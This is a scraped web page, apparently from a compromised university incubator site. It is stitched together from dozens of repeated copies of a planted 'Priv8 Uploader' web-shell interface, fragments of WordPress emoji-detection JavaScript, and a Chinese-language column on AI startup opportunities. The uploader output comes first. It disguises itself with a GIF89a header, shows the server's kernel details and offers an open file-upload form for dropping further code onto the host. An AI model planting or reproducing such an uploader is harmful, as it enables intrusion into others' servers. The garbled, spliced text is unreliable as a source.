GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
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GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>


GIF89a; <pre><p>Priv8 Uploader By InMyMine7</p>Linux ip-172-26-2-115 4.4.0-1128-aws #142-Ubuntu SMP Fri Apr 16 12:42:33 UTC 2021 x86_64
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 */

( function( window, document, settings ) {
	var src, ready, ii, tests;

	// Create a canvas element for testing native browser support of emoji.
	var canvas = document.createElement( 'canvas' );
	var context = canvas.getContext && canvas.getContext( '2d' );

	/**
	 * Checks if two sets of Emoji characters render the same visually.
	 *
	 * @since 4.9.0
	 *
	 * @private
	 *
	 * @param {number[]} set1 Set of Emoji character codes.
	 * @param {number[]} set2 Set of Emoji character codes.
	 *
	 * @return {boolean} True if the two sets render the same.
	 */
	function emojiSetsRenderIdentically( set1, set2 ) {
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		context.fillText( stringFromCharCode.apply( this, set1 ), 0, 0 );
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		return rendered1 === rendered2;
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	 * Detects if the browser supports rendering emoji or flag emoji.
	 *
	 * Flag emoji are a single glyph made of two characters, so some browsers
	 * (notably, Firefox OS X) don't support them.
	 *
	 * @since 4.2.0
	 *
	 * @private
	 *
	 * @param {string} type Whether to test for support of "flag" or "emoji".
	 *
	 * @return {boolean} True if the browser can render emoji, false if it cannot.
	 */
	function browserSupportsEmoji( type ) {
		var isIdentical;

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			return false;
		}

		/*
		 * Chrome on OS X added native emoji rendering in M41. Unfortunately,
		 * it doesn't work when the font is bolder than 500 weight. So, we
		 * check for bold rendering support to avoid invisible emoji in Chrome.
		 */
		context.textBaseline = 'top';
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		switch ( type ) {
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				 * Test for Transgender flag compatibility. This flag is shortlisted for the Emoji 13 spec,
				 * but has landed in Twemoji early, so we can add support for it, too.
				 *
				 * To test for support, we try to render it, and compare the rendering to how it would look if
				 * the browser doesn't render it correctly (white flag emoji + transgender symbol).
				 */
				isIdentical = emojiSetsRenderIdentically(
					[ 0x1F3F3, 0xFE0F, 0x200D, 0x26A7, 0xFE0F ],
					[ 0x1F3F3, 0xFE0F, 0x200B, 0x26A7, 0xFE0F ]
				);

				if ( isIdentical ) {
					return false;
				}

				/*
				 * Test for UN flag compatibility. This is the least supported of the letter locale flags,
				 * so gives us an easy test for full support.
				 *
				 * To test for support, we try to render it, and compare the rendering to how it would look if
				 * the browser doesn't render it correctly ([U] + [N]).
				 */
				isIdentical = emojiSetsRenderIdentically(
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					[ 0xD83C, 0xDDFA, 0x200B, 0xD83C, 0xDDF3 ]
				);

				if ( isIdentical ) {
					return false;
				}

				/*
				 * Test for English flag compatibility. England is a country in the United Kingdom, it
				 * does not have a two letter locale code but rather an five letter sub-division code.
				 *
				 * To test for support, we try to render it, and compare the rendering to how it would look if
				 * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
				 */
				isIdentical = emojiSetsRenderIdentically(
					[ 0xD83C, 0xDFF4, 0xDB40, 0xDC67, 0xDB40, 0xDC62, 0xDB40, 0xDC65, 0xDB40, 0xDC6E, 0xDB40, 0xDC67, 0xDB40, 0xDC7F ],
					[ 0xD83C, 0xDFF4, 0x200B, 0xDB40, 0xDC67, 0x200B, 0xDB40, 0xDC62, 0x200B, 0xDB40, 0xDC65, 0x200B, 0xDB40, 0xDC6E, 0x200B, 0xDB40, 0xDC67, 0x200B, 0xDB40, 0xDC7F ]
				);

				return ! isIdentical;
			case 'emoji':
				/*
				 * Why can't we be friends? Everyone can now shake hands in emoji, regardless of skin tone!
				 *
				 * To test for Emoji 14.0 support, try to render a new emoji: Handshake: Light Skin Tone, Dark Skin Tone.
				 *
				 * The Handshake: Light Skin Tone, Dark Skin Tone emoji is a ZWJ sequence combining 🫱 Rightwards Hand,
				 * 🏻 Light Skin Tone, a Zero Width Joiner, 🫲 Leftwards Hand, and 🏿 Dark Skin Tone.
				 *
				 * 0x1FAF1 == Rightwards Hand
				 * 0x1F3FB == Light Skin Tone
				 * 0x200D == Zero-Width Joiner (ZWJ) that links the code points for the new emoji or
				 * 0x200B == Zero-Width Space (ZWS) that is rendered for clients not supporting the new emoji.
				 * 0x1FAF2 == Leftwards Hand
				 * 0x1F3FF == Dark Skin Tone.
				 *
				 * When updating this test for future Emoji releases, ensure that individual emoji that make up the
				 * sequence come from older emoji standards.
				 */
				isIdentical = emojiSetsRenderIdentically(
					[0x1FAF1, 0x1F3FB, 0x200D, 0x1FAF2, 0x1F3FF],
					[0x1FAF1, 0x1F3FB, 0x200B, 0x1FAF2, 0x1F3FF]
				);

				return ! isIdentical;
		}

		return false;
	}

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	 * Adds a script to the head of the document.
	 *
	 * @ignore
	 *
	 * @since 4.2.0
	 *
	 * @param {Object} src The url where the script is located.
	 * @return {void}
	 */
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		script.src = src;
		script.defer = script.type = 'text/javascript';
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	tests = Array( 'flag', 'emoji' );

	settings.supports = {
		everything: true,
		everythingExceptFlag: true
	};

	/*
	 * Tests the browser support for flag emojis and other emojis, and adjusts the
	 * support settings accordingly.
	 */
	for( ii = 0; ii < tests.length; ii++ ) {
		settings.supports[ tests[ ii ] ] = browserSupportsEmoji( tests[ ii ] );

		settings.supports.everything = settings.supports.everything && settings.supports[ tests[ ii ] ];

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		<p>近年來大數據、雲端服務、5G 發展迅猛，AI 已然形成完美風暴，很多人覺得 AI 很重要，但也有人解讀 AI 是另外一種泡沫。然而過度樂觀與悲觀並不都是好事，對此，台灣人工智慧學校營運長同時是台大創創中心導師蔡明順認為：「你必須要有能力看穿到底什麼是 AI ，很多人會把現在所開發出來的產品都冠上 AI XX，這是過度包裝，容易讓 AI 被過度吹捧，導致有無法實際落地的危機。」</p>
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		<h4><strong>什麼是人工智慧？</strong></h4>
<p>在踏入 AI 領域前，我們要知道什麼是 AI ？</p>
<p>首先，AI 需要有分析的能力，第二，AI 要能做學習，可以透過數據不斷優化。再來， AI 要能做調適和推理，舉例來說，許多晶片設計是基於模型，而這些模型也是一種推理引擎，我們會把模型設計在硬體上，例如 AI + IOT，這就是 AI 的應用。最後，AI 要能做決策，這和資料科學之間的差異在於，AI 要能做到決策自動化，以目前市面上看到的產品如 RPA 機器人流程自動化、AutoML 決策自動化引擎等，都是 AI 在決策自動化的初級應用。</p>
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		<h4><strong>AI </strong><strong>創業上的兩種機會</strong> <strong>— AI 產業化、產業 AI 化</strong></h4>
<p>那麼，如果想做 AI，該從什麼角度切入？</p>
<p>從 2018 年開始，每年都會有 AI 百大新創，其中又可分為 AI 產業化與產業 AI 化，前者是把 AI 技術做基礎型、通用型、跨行跨領域的應用，例如人臉識別、語音辨識、自然語言處理等技術；後者是指產業再加上 AI Plus ，通常專注於產業的垂直場域，透過 AI 來協助產業升級。</p>
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		<p>AI 帶來的改變還有：過往我們在解決一個問題時，通常是用人的思維來使用工具。AI 剛好反過來重新調整人機協作的比例，導入 AI 後可能有六到七成的工作內容變成是自動化決策，僅有三成是透過傳統人工來完成，當人機協作的比例調整後可能會產生的擔憂是 —— 人類的工作會不會被取代？</p>
<p>對此蔡明順認為：「人類有 AI 沒有的東西，那就是創造力、終身學習的能力， AI 基本上你賦予它什麼它就會定型在那裡，但人類寶貴的地方在於人類可以同時間學習很多東西，因此人類只要肯不斷學習，不用擔心被 AI 取代。」</p>
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		<h4><strong>AI </strong><strong>的機會點在哪裡？</strong></h4>
<p>「沿用舊地圖，發現不了新大陸」蔡明順認為未來想做 AI 的團隊需要思考的是客戶想要什麼？這沒有標準答案，但只要你注意大環境的變化，消費者行為改變，競爭環境的新物種跨域者，你就有能力挖掘機會的切入點。</p>
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<li>一般新創公司可能會認為台灣場域經濟規模太小，要不然我往中國發展去。然而，如果把東亞的地圖轉個彎，會發現台灣剛好位在東北亞與東南亞的中心，也就是說當新創團隊想要把產品國際化時，除了思考前往中國外，也可以思考北方的日韓市場，或是廣大人口的東南亞市場。</li>
<li>中美貿易戰下台灣產業佈局從 G20 轉向 G2 。因應國際貿易變化，未來的產品設計可能要有兩套版本，分別是美國去中化、中國去美化，團隊可以思考看看自己所處的產業和領域（如供應鏈、生產製造）有沒有這樣的機會，也許Made in Taiwan 反而是一種新的優勢。</li>
<li>疫情衝擊下的產業發展。疫情衝擊後各產業如何回復，哪些產業會是 AI 發展的新藍海，舉凡：線上零售、食品外送、零接觸的新科技、遠端醫療、線上視訊串流媒體等產業，都是在疫情期間正向成長的產業。</li>
</ol>
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            <img class="img-with-animation skip-lazy " data-delay="0" height="467" width="700" data-animation="fade-in" src="https://tec.ntu.edu.tw/wp-content/uploads/2020/06/螢幕快照-2020-06-23-下午4.39.37-e1592901824725.png" alt="TEC 導師專欄分享 | 科技引領變革，人工智慧當道，新創在 AI的機會點在哪？——台灣人工智慧學校營運長 蔡明順_2" srcset="https://tec.ntu.edu.tw/wp-content/uploads/2020/06/螢幕快照-2020-06-23-下午4.39.37-e1592901824725.png 700w, https://tec.ntu.edu.tw/wp-content/uploads/2020/06/螢幕快照-2020-06-23-下午4.39.37-e1592901824725-600x400.png 600w" sizes="(min-width: 1450px) 75vw, (min-width: 1000px) 85vw, 100vw" />
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		<h4><strong>迎接 AI 世代，我們該擁有什麼心態 ？</strong></h4>
<p>最後，蔡明順提到人工智慧事實上還有很多機會，很多路要走，蔡明順也給新創團隊建議：「以前做什麼是因為生活需要、現在做什麼是因為轉型重要，以後做什麼是因為客戶想要」，新創團隊需要思考的是：先從微觀開始，做正確的事，找到優勢所在、資源所在和願景所在的交集。</p>
<p>最後蔡明順也鼓勵任何對 AI 領域有興趣的朋友，積小勝成大勝，有了「長期穩定」且「持續改進」的學習過程，一年後的你會比原本強好幾倍。</p>
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<h4 class="light"><strong>導師資料</strong></h4>
<p><img decoding="async" class="size-medium wp-image-4019 alignleft" src="https://tec.ntu.edu.tw/wp-content/uploads/2020/02/Richie_full-e1582278866471-300x296.jpg" alt="蔡明順" width="300" height="296" srcset="https://tec.ntu.edu.tw/wp-content/uploads/2020/02/Richie_full-e1582278866471-300x296.jpg 300w, https://tec.ntu.edu.tw/wp-content/uploads/2020/02/Richie_full-e1582278866471-600x592.jpg 600w, https://tec.ntu.edu.tw/wp-content/uploads/2020/02/Richie_full-e1582278866471-1024x1010.jpg 1024w, https://tec.ntu.edu.tw/wp-content/uploads/2020/02/Richie_full-e1582278866471-768x757.jpg 768w, https://tec.ntu.edu.tw/wp-content/uploads/2020/02/Richie_full-e1582278866471-100x100.jpg 100w, https://tec.ntu.edu.tw/wp-content/uploads/2020/02/Richie_full-e1582278866471.jpg 1295w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p>蔡明順 Richie Tsai<br />
台灣人工智慧學校 代理執行長</p>
</div>
<p class="description">專長項目<br />
AI / Big Data / 數位轉型 / 生態系統培育</p>
<p>重要經歷<br />
– SAP 美商思愛普 大中華區資深副總經理<br />
– Oracle 美商甲骨文 應用軟體部副總經理<br />
– Teradata 美商天睿資訊系統 資深協理</p>
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